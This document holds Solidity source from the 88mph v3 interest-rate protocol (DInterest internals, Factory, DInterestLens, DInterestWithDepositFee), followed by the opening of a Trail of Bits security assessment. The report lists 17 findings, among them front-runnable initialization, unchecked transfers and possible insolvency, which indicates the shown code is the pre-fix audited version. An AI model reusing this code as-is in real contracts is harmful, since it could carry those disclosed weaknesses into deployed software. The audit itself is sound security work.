(totalPrincipalToFund * ULTRA_PRECISION) / principalPerToken; } // Mint funding multitoken fundingMultitoken.mint(sender, fundingID, mintTokenAmount); // Update relevant values sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex += (totalPrincipalToFund * EXTRA_PRECISION) / incomeIndex; totalFundedPrincipalAmount += totalPrincipalToFund; // Emit event emit EFund(sender, fundingID, fundAmount, mintTokenAmount); actualFundAmount = fundAmount; } function _fundTransferFunds(address sender, uint256 fundAmount) internal virtual { // Transfer `fundAmount` stablecoins from sender stablecoin.safeTransferFrom(sender, address(this), fundAmount); // Deposit `fundAmount` stablecoins into moneyMarket stablecoin.safeApprove(address(moneyMarket), fundAmount); moneyMarket.deposit(fundAmount); } /** @dev See {payInterestToFunders} @param currentMoneyMarketIncomeIndex The moneyMarket's current incomeIndex */ function _payInterestToFunders( uint64 fundingID, uint256 currentMoneyMarketIncomeIndex ) internal virtual returns (uint256 interestAmount) { Funding storage f = _getFunding(fundingID); { uint256 recordedMoneyMarketIncomeIndex = f.recordedMoneyMarketIncomeIndex; uint256 fundingTokenTotalSupply = fundingMultitoken.totalSupply(fundingID); uint256 recordedFundedPrincipalAmount = (fundingTokenTotalSupply * f.principalPerToken) / ULTRA_PRECISION; // Update funding values sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex = sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex + (recordedFundedPrincipalAmount * EXTRA_PRECISION) / currentMoneyMarketIncomeIndex - (recordedFundedPrincipalAmount * EXTRA_PRECISION) / recordedMoneyMarketIncomeIndex; f.recordedMoneyMarketIncomeIndex = currentMoneyMarketIncomeIndex; // Compute interest to funders interestAmount = (recordedFundedPrincipalAmount * currentMoneyMarketIncomeIndex) / recordedMoneyMarketIncomeIndex - recordedFundedPrincipalAmount; } // Distribute interest to funders if (interestAmount > 0) { uint256 stablecoinPrecision = 10**uint256(stablecoin.decimals()); if ( interestAmount > stablecoinPrecision / FUNDER_PAYOUT_THRESHOLD_DIVISOR ) { interestAmount = moneyMarket.withdraw(interestAmount); if (interestAmount > 0) { stablecoin.safeApprove( address(fundingMultitoken), interestAmount ); fundingMultitoken.distributeDividends( fundingID, address(stablecoin), interestAmount ); _distributeFundingRewards(fundingID, interestAmount); } } else { // interestAmount below minimum payout threshold, pay nothing emit EPayFundingInterest(fundingID, 0, 0); return 0; } } emit EPayFundingInterest(fundingID, interestAmount, 0); } /** @dev Mints MPH rewards to the holders of an FRB. If past the deposit maturation, only mint proportional to the time from the last distribution to the maturation. @param fundingID The ID of the funding @param rawInterestAmount The interest being distributed */ function _distributeFundingRewards( uint64 fundingID, uint256 rawInterestAmount ) internal { Funding storage f = _getFunding(fundingID); // Mint funder rewards uint256 maturationTimestamp = _getDeposit(f.depositID).maturationTimestamp; if (block.timestamp > maturationTimestamp) { // past maturation, only mint proportionally to maturation - last payout uint256 lastInterestPayoutTimestamp = f.lastInterestPayoutTimestamp; if (lastInterestPayoutTimestamp < maturationTimestamp) { uint256 effectiveInterestAmount = (rawInterestAmount * (maturationTimestamp - lastInterestPayoutTimestamp)) / (block.timestamp - lastInterestPayoutTimestamp); mphMinter.distributeFundingRewards( fundingID, effectiveInterestAmount ); } } else { // before maturation, mint full amount mphMinter.distributeFundingRewards(fundingID, rawInterestAmount); } // update last payout timestamp require(block.timestamp <= type(uint64).max, "OVERFLOW"); f.lastInterestPayoutTimestamp = uint64(block.timestamp); } /** @dev Used in {_withdraw}. Computes the amount of interest to distribute to the deposit's floating-rate bond holders. Also updates the Funding struct associated with the floating-rate bond. @param fundingID The ID of the floating-rate bond @param recordedFundedPrincipalAmount The amount of principal funded before the withdrawal @param early True if withdrawing before maturation, false otherwise @return fundingInterestAmount The amount of interest to distribute to the floating-rate bond holders, plus the refund amount @return refundAmount The amount of refund caused by an early withdraw */ function _computeAndUpdateFundingInterestAfterWithdraw( uint64 fundingID, uint256 recordedFundedPrincipalAmount, bool early ) internal virtual returns (uint256 fundingInterestAmount, uint256 refundAmount) { Funding storage f = _getFunding(fundingID); uint256 currentFundedPrincipalAmount = (fundingMultitoken.totalSupply(fundingID) * f.principalPerToken) / ULTRA_PRECISION; // Update funding values { uint256 recordedMoneyMarketIncomeIndex = f.recordedMoneyMarketIncomeIndex; uint256 currentMoneyMarketIncomeIndex = moneyMarket.incomeIndex(); uint256 currentFundedPrincipalAmountDivRecordedIncomeIndex = (currentFundedPrincipalAmount * EXTRA_PRECISION) / currentMoneyMarketIncomeIndex; uint256 recordedFundedPrincipalAmountDivRecordedIncomeIndex = (recordedFundedPrincipalAmount * EXTRA_PRECISION) / recordedMoneyMarketIncomeIndex; if ( sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex + currentFundedPrincipalAmountDivRecordedIncomeIndex >= recordedFundedPrincipalAmountDivRecordedIncomeIndex ) { sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex = sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex + currentFundedPrincipalAmountDivRecordedIncomeIndex - recordedFundedPrincipalAmountDivRecordedIncomeIndex; } else { sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex = 0; } f.recordedMoneyMarketIncomeIndex = currentMoneyMarketIncomeIndex; totalFundedPrincipalAmount -= recordedFundedPrincipalAmount - currentFundedPrincipalAmount; // Compute interest to funders fundingInterestAmount = (recordedFundedPrincipalAmount * currentMoneyMarketIncomeIndex) / recordedMoneyMarketIncomeIndex - recordedFundedPrincipalAmount; } // Add refund to interestAmount if (early) { Deposit storage depositEntry = _getDeposit(f.depositID); uint256 interestRate = depositEntry.interestRate; uint256 feeRate = depositEntry.feeRate; (, uint256 moneyMarketInterestRatePerSecond) = interestOracle.updateAndQuery(); refundAmount = (((recordedFundedPrincipalAmount - currentFundedPrincipalAmount) * PRECISION) .decmul(moneyMarketInterestRatePerSecond) * (depositEntry.maturationTimestamp - block.timestamp)) / PRECISION; uint256 maxRefundAmount = (recordedFundedPrincipalAmount - currentFundedPrincipalAmount) .decdiv(PRECISION + interestRate + feeRate) .decmul(interestRate + feeRate); refundAmount = refundAmount <= maxRefundAmount ? refundAmount : maxRefundAmount; fundingInterestAmount += refundAmount; } emit EPayFundingInterest( fundingID, fundingInterestAmount, refundAmount ); } /** Internal getter functions */ /** @dev See {getDeposit} */ function _getDeposit(uint64 depositID) internal view returns (Deposit storage) { return deposits[depositID - 1]; } /** @dev See {getFunding} */ function _getFunding(uint64 fundingID) internal view returns (Funding storage) { return fundingList[fundingID - 1]; } /** @dev Converts a virtual token value into the corresponding principal value. Principal refers to deposit + full interest + fee. @param depositID The ID of the deposit of the virtual tokens @param virtualTokenAmount The virtual token value @return The corresponding principal value */ function _depositVirtualTokenToPrincipal( uint64 depositID, uint256 virtualTokenAmount ) internal view virtual returns (uint256) { Deposit storage depositEntry = _getDeposit(depositID); uint256 depositInterestRate = depositEntry.interestRate; return virtualTokenAmount.decdiv(depositInterestRate + PRECISION).decmul( depositInterestRate + depositEntry.feeRate + PRECISION ); } /** @dev See {Rescuable._authorizeRescue} */ function _authorizeRescue( address, /*token*/ address /*target*/ ) internal view override { require(msg.sender == owner(), "NOT_OWNER"); } /** @dev See {surplus} @param incomeIndex The moneyMarket's current incomeIndex */ function _surplus(uint256 incomeIndex) internal virtual returns (bool isNegative, uint256 surplusAmount) { // compute totalInterestOwedToFunders uint256 currentValue = (incomeIndex * sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex) / EXTRA_PRECISION; uint256 initialValue = totalFundedPrincipalAmount; uint256 totalInterestOwedToFunders; if (currentValue > initialValue) { totalInterestOwedToFunders = currentValue - initialValue; } // compute surplus uint256 totalValue = moneyMarket.totalValue(incomeIndex); uint256 totalOwed = totalDeposit + totalInterestOwed + totalFeeOwed + totalInterestOwedToFunders; if (totalValue >= totalOwed) { // Locked value more than owed deposits, positive surplus isNegative = false; surplusAmount = totalValue - totalOwed; } else { // Locked value less than owed deposits, negative surplus isNegative = true; surplusAmount = totalOwed - totalValue; } } /** @dev See {rawSurplusOfDeposit} @param currentMoneyMarketIncomeIndex The moneyMarket's current incomeIndex */ function _rawSurplusOfDeposit( uint64 depositID, uint256 currentMoneyMarketIncomeIndex ) internal virtual returns (bool isNegative, uint256 surplusAmount) { Deposit storage depositEntry = _getDeposit(depositID); uint256 depositTokenTotalSupply = depositEntry.virtualTokenTotalSupply; uint256 depositAmount = depositTokenTotalSupply.decdiv( depositEntry.interestRate + PRECISION ); uint256 interestAmount = depositTokenTotalSupply - depositAmount; uint256 feeAmount = depositAmount.decmul(depositEntry.feeRate); uint256 currentDepositValue = (depositAmount * currentMoneyMarketIncomeIndex) / depositEntry.averageRecordedIncomeIndex; uint256 owed = depositAmount + interestAmount + feeAmount; if (currentDepositValue >= owed) { // Locked value more than owed deposits, positive surplus isNegative = false; surplusAmount = currentDepositValue - owed; } else { // Locked value less than owed deposits, negative surplus isNegative = true; surplusAmount = owed - currentDepositValue; } } /** Param setters (only callable by the owner) */ function setFeeModel(address newValue) external onlyOwner { require(newValue.isContract(), "NOT_CONTRACT"); feeModel = IFeeModel(newValue); emit ESetParamAddress(msg.sender, "feeModel", newValue); } function setInterestModel(address newValue) external onlyOwner { require(newValue.isContract(), "NOT_CONTRACT"); interestModel = IInterestModel(newValue); emit ESetParamAddress(msg.sender, "interestModel", newValue); } function setInterestOracle(address newValue) external onlyOwner { require(newValue.isContract(), "NOT_CONTRACT"); interestOracle = IInterestOracle(newValue); require(interestOracle.moneyMarket() == moneyMarket, "BAD_ORACLE"); emit ESetParamAddress(msg.sender, "interestOracle", newValue); } function setRewards(address newValue) external onlyOwner { require(newValue.isContract(), "NOT_CONTRACT"); moneyMarket.setRewards(newValue); emit ESetParamAddress(msg.sender, "moneyMarket.rewards", newValue); } function setMPHMinter(address newValue) external onlyOwner { require(newValue.isContract(), "NOT_CONTRACT"); mphMinter = MPHMinter(newValue); emit ESetParamAddress(msg.sender, "mphMinter", newValue); } function setMaxDepositPeriod(uint64 newValue) external onlyOwner { require(newValue > 0, "BAD_VAL"); MaxDepositPeriod = newValue; emit ESetParamUint(msg.sender, "MaxDepositPeriod", uint256(newValue)); } function setMinDepositAmount(uint256 newValue) external onlyOwner { require(newValue > 0, "BAD_VAL"); MinDepositAmount = newValue; emit ESetParamUint(msg.sender, "MinDepositAmount", newValue); } function setGlobalDepositCap(uint256 newValue) external onlyOwner { GlobalDepositCap = newValue; emit ESetParamUint(msg.sender, "GlobalDepositCap", newValue); } function setDepositNFTBaseURI(string calldata newURI) external onlyOwner { depositNFT.setBaseURI(newURI); } function setDepositNFTContractURI(string calldata newURI) external onlyOwner { depositNFT.setContractURI(newURI); } function skimSurplus(address recipient) external onlyOwner { (bool isNegative, uint256 surplusMagnitude) = surplus(); if (!isNegative) { surplusMagnitude = moneyMarket.withdraw(surplusMagnitude); stablecoin.safeTransfer(recipient, surplusMagnitude); } } function decreaseFeeForDeposit(uint64 depositID, uint256 newFeeRate) external onlyOwner { Deposit storage depositStorage = _getDeposit(depositID); uint256 feeRate = depositStorage.feeRate; uint256 interestRate = depositStorage.interestRate; uint256 virtualTokenTotalSupply = depositStorage.virtualTokenTotalSupply; require(newFeeRate < feeRate, "BAD_VAL"); uint256 depositAmount = virtualTokenTotalSupply.decdiv(interestRate + PRECISION); // update fee rate depositStorage.feeRate = newFeeRate; // update interest rate // fee reduction is allocated to interest uint256 reducedFeeAmount = depositAmount.decmul(feeRate - newFeeRate); depositStorage.interestRate = interestRate + reducedFeeAmount.decdiv(depositAmount); // update global amounts totalInterestOwed += reducedFeeAmount; totalFeeOwed -= reducedFeeAmount; } uint256[32] private __gap; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.3; import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol"; import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import {FundingMultitoken} from "./tokens/FundingMultitoken.sol"; import {NFT} from "./tokens/NFT.sol"; import {ZeroCouponBond} from "./zero-coupon-bond/ZeroCouponBond.sol"; import {EMAOracle} from "./models/interest-oracle/EMAOracle.sol"; import {AaveMarket} from "./moneymarkets/aave/AaveMarket.sol"; import {BProtocolMarket} from "./moneymarkets/bprotocol/BProtocolMarket.sol"; import { CompoundERC20Market } from "./moneymarkets/compound/CompoundERC20Market.sol"; import {CreamERC20Market} from "./moneymarkets/cream/CreamERC20Market.sol"; import {HarvestMarket} from "./moneymarkets/harvest/HarvestMarket.sol"; import {YVaultMarket} from "./moneymarkets/yvault/YVaultMarket.sol"; import {DInterest} from "./DInterest.sol"; import {DInterestWithDepositFee} from "./DInterestWithDepositFee.sol"; contract Factory { using Clones for address; event CreateClone( string indexed contractName, address template, bytes32 salt, address clone ); function createNFT( address template, bytes32 salt, string calldata _tokenName, string calldata _tokenSymbol ) external returns (NFT) { NFT clone = NFT(template.cloneDeterministic(salt)); // initialize clone.initialize(_tokenName, _tokenSymbol); clone.transferOwnership(msg.sender); emit CreateClone("NFT", template, salt, address(clone)); return clone; } function createFundingMultitoken( address template, bytes32 salt, string calldata _uri, address[] calldata _dividendTokens, address _wrapperTemplate, bool _deployWrapperOnMint, string memory _baseName, string memory _baseSymbol, uint8 _decimals ) external returns (FundingMultitoken) { FundingMultitoken clone = FundingMultitoken(template.cloneDeterministic(salt)); // initialize clone.initialize( msg.sender, _uri, _dividendTokens, _wrapperTemplate, _deployWrapperOnMint, _baseName, _baseSymbol, _decimals ); emit CreateClone("FundingMultitoken", template, salt, address(clone)); return clone; } function createZeroCouponBond( address template, bytes32 salt, address _pool, address _vesting, uint64 _maturationTimetstamp, uint256 _initialDepositAmount, string calldata _tokenName, string calldata _tokenSymbol ) external returns (ZeroCouponBond) { ZeroCouponBond clone = ZeroCouponBond(template.cloneDeterministic(salt)); // initialize clone.initialize( msg.sender, _pool, _vesting, _maturationTimetstamp, _initialDepositAmount, _tokenName, _tokenSymbol ); emit CreateClone("ZeroCouponBond", template, salt, address(clone)); return clone; } function createEMAOracle( address template, bytes32 salt, uint256 _emaInitial, uint256 _updateInterval, uint256 _smoothingFactor, uint256 _averageWindowInIntervals, address _moneyMarket ) external returns (EMAOracle) { EMAOracle clone = EMAOracle(template.cloneDeterministic(salt)); // initialize clone.initialize( _emaInitial, _updateInterval, _smoothingFactor, _averageWindowInIntervals, _moneyMarket ); emit CreateClone("EMAOracle", template, salt, address(clone)); return clone; } function createAaveMarket( address template, bytes32 salt, address _provider, address _aToken, address _aaveMining, address _rewards, address _rescuer, address _stablecoin ) external returns (AaveMarket) { AaveMarket clone = AaveMarket(template.cloneDeterministic(salt)); // initialize clone.initialize( _provider, _aToken, _aaveMining, _rewards, _rescuer, _stablecoin ); clone.transferOwnership(msg.sender); emit CreateClone("AaveMarket", template, salt, address(clone)); return clone; } function createBProtocolMarket( address template, bytes32 salt, address _bToken, address _bComptroller, address _rewards, address _rescuer, address _stablecoin ) external returns (BProtocolMarket) { BProtocolMarket clone = BProtocolMarket(template.cloneDeterministic(salt)); // initialize clone.initialize( _bToken, _bComptroller, _rewards, _rescuer, _stablecoin ); clone.transferOwnership(msg.sender); emit CreateClone("BProtocolMarket", template, salt, address(clone)); return clone; } function createCompoundERC20Market( address template, bytes32 salt, address _cToken, address _comptroller, address _rewards, address _rescuer, address _stablecoin ) external returns (CompoundERC20Market) { CompoundERC20Market clone = CompoundERC20Market(template.cloneDeterministic(salt)); // initialize clone.initialize( _cToken, _comptroller, _rewards, _rescuer, _stablecoin ); clone.transferOwnership(msg.sender); emit CreateClone("CompoundERC20Market", template, salt, address(clone)); return clone; } function createCreamERC20Market( address template, bytes32 salt, address _cToken, address _rescuer, address _stablecoin ) external returns (CreamERC20Market) { CreamERC20Market clone = CreamERC20Market(template.cloneDeterministic(salt)); // initialize clone.initialize(_cToken, _rescuer, _stablecoin); clone.transferOwnership(msg.sender); emit CreateClone("CreamERC20Market", template, salt, address(clone)); return clone; } function createHarvestMarket( address template, bytes32 salt, address _vault, address _rewards, address _stakingPool, address _rescuer, address _stablecoin ) external returns (HarvestMarket) { HarvestMarket clone = HarvestMarket(template.cloneDeterministic(salt)); // initialize clone.initialize(_vault, _rewards, _stakingPool, _rescuer, _stablecoin); clone.transferOwnership(msg.sender); emit CreateClone("HarvestMarket", template, salt, address(clone)); return clone; } function createYVaultMarket( address template, bytes32 salt, address _vault, address _rescuer, address _stablecoin ) external returns (YVaultMarket) { YVaultMarket clone = YVaultMarket(template.cloneDeterministic(salt)); // initialize clone.initialize(_vault, _rescuer, _stablecoin); clone.transferOwnership(msg.sender); emit CreateClone("YVaultMarket", template, salt, address(clone)); return clone; } function createDInterest( address template, bytes32 salt, uint64 _MaxDepositPeriod, uint256 _MinDepositAmount, address _moneyMarket, address _stablecoin, address _feeModel, address _interestModel, address _interestOracle, address _depositNFT, address _fundingMultitoken, address _mphMinter ) external returns (DInterest) { DInterest clone = DInterest(template.cloneDeterministic(salt)); // initialize clone.initialize( _MaxDepositPeriod, _MinDepositAmount, _moneyMarket, _stablecoin, _feeModel, _interestModel, _interestOracle, _depositNFT, _fundingMultitoken, _mphMinter ); clone.transferOwnership(msg.sender); emit CreateClone("DInterest", template, salt, address(clone)); return clone; } struct DInterestWithDepositFeeParams { uint64 _MaxDepositPeriod; uint256 _MinDepositAmount; uint256 _DepositFee; address _moneyMarket; address _stablecoin; address _feeModel; address _interestModel; address _interestOracle; address _depositNFT; address _fundingMultitoken; address _mphMinter; } function createDInterestWithDepositFee( address template, bytes32 salt, DInterestWithDepositFeeParams calldata params ) external returns (DInterestWithDepositFee) { DInterestWithDepositFee clone = DInterestWithDepositFee(template.cloneDeterministic(salt)); // initialize clone.initialize( params._MaxDepositPeriod, params._MinDepositAmount, params._DepositFee, params._moneyMarket, params._stablecoin, params._feeModel, params._interestModel, params._interestOracle, params._depositNFT, params._fundingMultitoken, params._mphMinter ); clone.transferOwnership(msg.sender); emit CreateClone( "DInterestWithDepositFee", template, salt, address(clone) ); return clone; } function predictAddress(address template, bytes32 salt) external view returns (address) { return template.predictDeterministicAddress(salt); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.3; import {DecMath} from "./libs/DecMath.sol"; import {DInterest} from "./DInterest.sol"; contract DInterestLens { using DecMath for uint256; uint256 internal constant PRECISION = 10**18; /** @dev used for sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex */ uint256 internal constant EXTRA_PRECISION = 10**27; /** @dev used for funding.principalPerToken */ uint256 internal constant ULTRA_PRECISION = 2**128; /** @notice Computes the amount of stablecoins that can be withdrawn by burning `virtualTokenAmount` virtual tokens from the deposit with ID `depositID` at time `timestamp`. @dev The queried timestamp should >= the deposit's lastTopupTimestamp, since the information before this time is forgotten. @param pool The DInterest pool @param depositID The ID of the deposit @param virtualTokenAmount The amount of virtual tokens to burn @return withdrawableAmount The amount of stablecoins (after fee) that can be withdrawn @return feeAmount The amount of fees that will be given to the beneficiary */ function withdrawableAmountOfDeposit( DInterest pool, uint64 depositID, uint256 virtualTokenAmount ) external view returns (uint256 withdrawableAmount, uint256 feeAmount) { // Verify input DInterest.Deposit memory depositEntry = pool.getDeposit(depositID); if (virtualTokenAmount == 0) { return (0, 0); } else { if (virtualTokenAmount > depositEntry.virtualTokenTotalSupply) { virtualTokenAmount = depositEntry.virtualTokenTotalSupply; } } // Compute token amounts bool early = block.timestamp < depositEntry.maturationTimestamp; uint256 depositAmount = virtualTokenAmount.decdiv(depositEntry.interestRate + PRECISION); uint256 interestAmount = early ? 0 : virtualTokenAmount - depositAmount; withdrawableAmount = depositAmount + interestAmount; if (early) { // apply fee to withdrawAmount uint256 earlyWithdrawFee = pool.feeModel().getEarlyWithdrawFeeAmount( address(pool), depositID, withdrawableAmount ); feeAmount = earlyWithdrawFee; withdrawableAmount -= earlyWithdrawFee; } else { feeAmount = depositAmount.decmul(depositEntry.feeRate); } } /** @notice Computes the floating-rate interest accrued in the floating-rate bond with ID `fundingID`. @param pool The DInterest pool @param fundingID The ID of the floating-rate bond @return fundingInterestAmount The interest accrued, in stablecoins */ function accruedInterestOfFunding(DInterest pool, uint64 fundingID) external returns (uint256 fundingInterestAmount) { DInterest.Funding memory f = pool.getFunding(fundingID); uint256 fundingTokenTotalSupply = pool.fundingMultitoken().totalSupply(fundingID); uint256 recordedFundedPrincipalAmount = (fundingTokenTotalSupply * f.principalPerToken) / ULTRA_PRECISION; uint256 recordedMoneyMarketIncomeIndex = f.recordedMoneyMarketIncomeIndex; uint256 currentMoneyMarketIncomeIndex = pool.moneyMarket().incomeIndex(); require(currentMoneyMarketIncomeIndex > 0, "DInterest: BAD_INDEX"); // Compute interest to funders fundingInterestAmount = (recordedFundedPrincipalAmount * currentMoneyMarketIncomeIndex) / recordedMoneyMarketIncomeIndex - recordedFundedPrincipalAmount; } /** @notice A floating-rate bond is no longer active if its principalPerToken becomes 0, which occurs when the corresponding deposit is completely withdrawn. When such a deposit is topped up, a new Funding struct and floating-rate bond will be created. @param pool The DInterest pool @param fundingID The ID of the floating-rate bond @return True if the funding is active, false otherwise */ function fundingIsActive(DInterest pool, uint64 fundingID) external view returns (bool) { return pool.getFunding(fundingID).principalPerToken > 0; } /** @notice Computes the floating interest amount owed to deficit funders, which will be paid out when a funded deposit is withdrawn. Formula: \sum_i recordedFundedPrincipalAmount_i * (incomeIndex / recordedMoneyMarketIncomeIndex_i - 1) = incomeIndex * (\sum_i recordedFundedPrincipalAmount_i / recordedMoneyMarketIncomeIndex_i) - \sum_i recordedFundedPrincipalAmount_i where i refers to a funding @param pool The DInterest pool @return interestOwed The floating-rate interest accrued to all floating-rate bond holders */ function totalInterestOwedToFunders(DInterest pool) public virtual returns (uint256 interestOwed) { uint256 currentValue = (pool.moneyMarket().incomeIndex() * pool .sumOfRecordedFundedPrincipalAmountDivRecordedIncomeIndex()) / EXTRA_PRECISION; uint256 initialValue = pool.totalFundedPrincipalAmount(); if (currentValue < initialValue) { return 0; } return currentValue - initialValue; } /** @notice Computes the surplus of a deposit, which is the raw surplus of the unfunded part of the deposit. If the deposit is not funded, this will return the same value as {rawSurplusOfDeposit}. @param depositID The ID of the deposit @return isNegative True if the surplus is negative, false otherwise @return surplusAmount The absolute value of the surplus, in stablecoins */ function surplusOfDeposit(DInterest pool, uint64 depositID) public virtual returns (bool isNegative, uint256 surplusAmount) { (isNegative, surplusAmount) = pool.rawSurplusOfDeposit(depositID); DInterest.Deposit memory depositEntry = pool.getDeposit(depositID); if (depositEntry.fundingID != 0) { uint256 totalPrincipal = _depositVirtualTokenToPrincipal( depositEntry, depositEntry.virtualTokenTotalSupply ); uint256 principalPerToken = pool.getFunding(depositEntry.fundingID).principalPerToken; uint256 unfundedPrincipalAmount = totalPrincipal - (pool.fundingMultitoken().totalSupply( depositEntry.fundingID ) * principalPerToken) / ULTRA_PRECISION; surplusAmount = (surplusAmount * unfundedPrincipalAmount) / totalPrincipal; } } /** @dev Converts a virtual token value into the corresponding principal value. Principal refers to deposit + full interest + fee. @param depositEntry The deposit struct @param virtualTokenAmount The virtual token value @return The corresponding principal value */ function _depositVirtualTokenToPrincipal( DInterest.Deposit memory depositEntry, uint256 virtualTokenAmount ) internal pure virtual returns (uint256) { uint256 depositInterestRate = depositEntry.interestRate; return virtualTokenAmount.decdiv(depositInterestRate + PRECISION).decmul( depositInterestRate + depositEntry.feeRate + PRECISION ); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.8.3; import {DecMath} from "./libs/DecMath.sol"; import {DInterest} from "./DInterest.sol"; /** @dev A variant of DInterest that supports money markets with deposit fees */ contract DInterestWithDepositFee is DInterest { using DecMath for uint256; uint256 public DepositFee; // The deposit fee charged by the money market /** @param _MaxDepositPeriod The maximum deposit period, in seconds @param _MinDepositAmount The minimum deposit amount, in stablecoins @param _DepositFee The fee charged by the underlying money market @param _moneyMarket Address of MoneyMarket that's used for generating interest (owner must be set to this DInterest contract) @param _stablecoin Address of the stablecoin used to store funds @param _feeModel Address of the FeeModel contract that determines how fees are charged @param _interestModel Address of the InterestModel contract that determines how much interest to offer @param _interestOracle Address of the InterestOracle contract that provides the average interest rate @param _depositNFT Address of the NFT representing ownership of deposits (owner must be set to this DInterest contract) @param _fundingMultitoken Address of the ERC1155 multitoken representing ownership of fundings (this DInterest contract must have the minter-burner role) @param _mphMinter Address of the contract for handling minting MPH to users */ function initialize( uint64 _MaxDepositPeriod, uint256 _MinDepositAmount, uint256 _DepositFee, address _moneyMarket, address _stablecoin, address _feeModel, address _interestModel, address _interestOracle, address _depositNFT, address _fundingMultitoken, address _mphMinter ) external virtual initializer { __DInterest_init( _MaxDepositPeriod, _MinDepositAmount, _moneyMarket, _stablecoin, _feeModel, _interestModel, _interestOracle, _depositNFT, _fundingMultitoken, _mphMinter ); DepositFee = _DepositFee; } /** Internal action functions */ /** @dev See {deposit} */ function _deposit( address sender, uint256 depositAmount, uint64 maturationTimestamp, bool rollover ) internal virtual override returns (uint64 depositID, uint256 interestAmount) { (depositID, interestAmount) = _depositRecordData( sender, _applyDepositFee(depositAmount), maturationTimestamp ); _depositTransferFunds(sender, depositAmount, rollover); } /** @dev See {topupDeposit} */ function _topupDeposit( address sender, uint64 depositID, uint256 depositAmount ) internal virtual override returns (uint256 interestAmount) { interestAmount = _topupDepositRecordData( sender, depositID, _applyDepositFee(depositAmount) ); _topupDepositTransferFunds(sender, depositAmount); } /** @dev See {fund} */ function _fund( address sender, uint64 depositID, uint256 fundAmount ) internal virtual override returns (uint64 fundingID) { uint256 actualFundAmount; (fundingID, actualFundAmount) = _fundRecordData( sender, depositID, _applyDepositFee(fundAmount) ); _fundTransferFunds(sender, _unapplyDepositFee(fundAmount)); } /** Internal getter functions */ /** @dev Applies a flat percentage deposit fee to a value. @param amount The before-fee amount @return The after-fee amount */ function _applyDepositFee(uint256 amount) internal view virtual returns (uint256) { return amount.decmul(PRECISION - DepositFee); } /** @dev Unapplies a flat percentage deposit fee to a value. @param amount The after-fee amount @return The before-fee amount */ function _unapplyDepositFee(uint256 amount) internal view virtual returns (uint256) { return amount.decdiv(PRECISION - DepositFee); } /** Param setters (only callable by the owner) */ function setDepositFee(uint256 newValue) external onlyOwner { require(newValue < PRECISION, "BAD_VALUE"); DepositFee = newValue; emit ESetParamUint(msg.sender, "DepositFee", newValue); } uint256[49] private __gap; }
  8 8 m p h v 3   S e c u r i t y A s s e s s m e n t   August 6, 2021                     Prepared For:    Guillaume Palayer | 88mph    mcfly@88mph.app     Zefram Lou | 88mph    zefram@88mph.app     Prepared By:    Dominik Teiml | Trail of Bits   dominik.teiml@trailofbits.com      Maximilian Krüger | Trail of Bits   max.kruger@trailofbits.com      Changelog:   August 6, 2021: Delivered initial report   August 17, 2021: Added Fix Log ( Appendix D )           Executive Summary   Project Dashboard   Code Maturity Evaluation   Engagement Goals   Coverage   Automated Testing and Verification   Automated Testing with Echidna   Recommendations Summary   Short term   Long term   Findings Summary   1. The interest oracle’s money market is not validated upon DInterest initialization   2. Lack of return value check on transfer and transferFrom   3. Lack of two-step process for contract ownership transfers   4. Users cannot specify a minimum desired interest   5. Withdrawing from Yearn to DInterest in a single step can save gas   6. Linearization of exponential compounding could lead to insolvency   7. Initialization functions can be front-run   8. Lack of contract existence check on delegatecall   9. Inconsistent validation of money markets’ rewards address   10. Solidity compiler optimizations can be problematic   11. Redundant addition of zero value in the Harvest money market   12. Lack of documentation concerning Rescuable base contract could result in   exploitable modifications   13. Modifications make the safeApprove function unsafe   14. Transferring the entire balance of a contract has unintended consequences   15. Users are not informed of the pitfalls of using Yearn vaults   16. Sponsor payout uses two transfers when only one is required   17. ERC20Wrapper’s transferFrom function ignores the sender argument   A. Vulnerability Classifications   B. Code Maturity Classifications   C. Code Quality   D. Fix Log      © 2021 Trail of Bits   88mph v3 Assessment | 1     Detailed Fix Log          © 2021 Trail of Bits   88mph v3 Assessment | 2     E x e c u t i v e S u m m a r y   From July 19 to August 6, 2021, Trail of Bits conducted a review of the 88mph v3 smart   contracts, working from commit 76cd9d1f of the 88mph-contracts repository.     During the first week of the audit, we reviewed the codebase to gain an understanding of   its intended behaviors, and we began reviewing the DInterest contract and the contracts   in the models and moneymarkets directories. In the second week, we continued reviewing   the money markets and began reviewing the libraries and the upgradeability mechanism.   We also set up a harness for a fuzzing campaign. In the third week, we identified 15   invariants in the DInterest contract and used our harness to turn them into Echidna   properties.     Our review resulted in 17 findings ranging from high to informational severity, many of   which are related to data validation. For example, one high-severity issue involves the   protocol's assumption that the money market rate will compound linearly, which could   lead to inaccurate exponential moving average (EMA) and interest rate calculations   ( TOB-88MPH-006 ). One medium-severity issue concerns the lack of validation of the   interest oracle’s money market upon DInterest initialization ( TOB-88MPH-001 ); another   involves the inability of users to specify a minimum desired interest amount for new   deposits ( TOB-88MPH-004 ).      The 88mph protocol integrates with several other protocols (Aave, Compound, Harvest,   B-Protocol, Cream, and Yearn) and includes many contracts, exposing a large attack   surface. While the code is reasonably well structured and includes unit and integration   tests, we found many aspects of the code that could be improved, such as its interactions   with external contracts, upgradeability mechanisms, and data validation.     Trail of Bits recommends that 88mph take the following steps:     ●Address all reported issues.   ●Consider the impacts of linearizing the input and output of interest rate calculations.   ●Conduct an additional internal review of the protocol’s interactions with external   contracts, particularly external money markets.   ●Expand the unit test suite by adding edge cases for constant values and interactions   that are not currently covered and expand our Echidna setup by adding properties   to test other contracts.   ●Perform a security assessment of protocol components omitted from this review.        © 2021 Trail of Bits   88mph v3 Assessment | 3     P r o j e c t D a s h b o a r d   Application Summary     Engagement Summary     Vulnerability Summary      Category Breakdown      Name   88mph v3   Version   76cd9d1f   Type   Solidity   Platform   Ethereum   Dates   July 19–August 6, 2021   Method   Full knowledge   Consultants Engaged   2   Level of Effort   6 